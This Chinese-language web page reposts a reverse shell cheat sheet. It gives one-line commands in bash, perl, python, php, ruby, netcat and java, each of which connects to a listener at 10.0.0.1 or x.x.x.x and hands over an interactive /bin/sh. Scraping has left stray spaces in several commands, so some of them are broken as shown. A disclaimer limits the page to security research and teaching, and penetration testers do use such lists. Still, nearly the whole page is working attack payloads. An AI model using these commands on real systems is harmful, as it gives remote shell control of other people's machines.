bash版本:
1
|
bash -i >& /dev/tcp/10 .0.0.1 /8080 0>&1 |
,注意某些linux不支持
perl版本:
1
2
3
4
5
|
perl -e ' use Socket; $i = "10.0.0.1" ; $p =1234; socket (S,PF_INET,SOCK_STREAM, getprotobyname ( "tcp" )); if ( connect (S,sockaddr_in( $p ,inet_aton( $i )))){ open (STDIN, ">&S" ); open (STDOUT, ">&S" ); open (STDERR, ">&S" ); exec ( "/bin/sh -i" );};' |
python版本:
1
2
3
|
python - c ' import socket,subprocess,os;s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(( "10.0.0.1" , 1234 ));os.dup2(s.fileno(), 0 ); os.dup2(s.fileno(), 1 ); os.dup2(s.fileno(), 2 );p = subprocess.call([ "/bin/sh" , "-i" ]);' |
php版本:
1
|
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
ruby版本:
1
2
|
ruby -rsocket -e'f=TCPSocket.open( "10.0.0.1" , 1234 ).to_i; exec sprintf( "/bin/sh -i <&%d >&%d 2>&%d" ,f,f,f)' |
nc版本:
1
2
3
4
|
nc -e /bin/sh 10.0.0.1 1234 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1| nc 10.0.0.1 1234 >/tmp/f nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999 |
java版本
1
2
3
4
|
r = Runtime.getRuntime() p = r.exec([ "/bin/bash" , "-c" ,"exec 5 <>/dev/tcp/ 10.0 . 0.1 / 2002 ;cat <& 5 | while read line; do /$line 2 >& 5 >& 5 ; done"] as String[]) p.waitFor() |
原文在:Reverse Shell Cheat Sheet
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论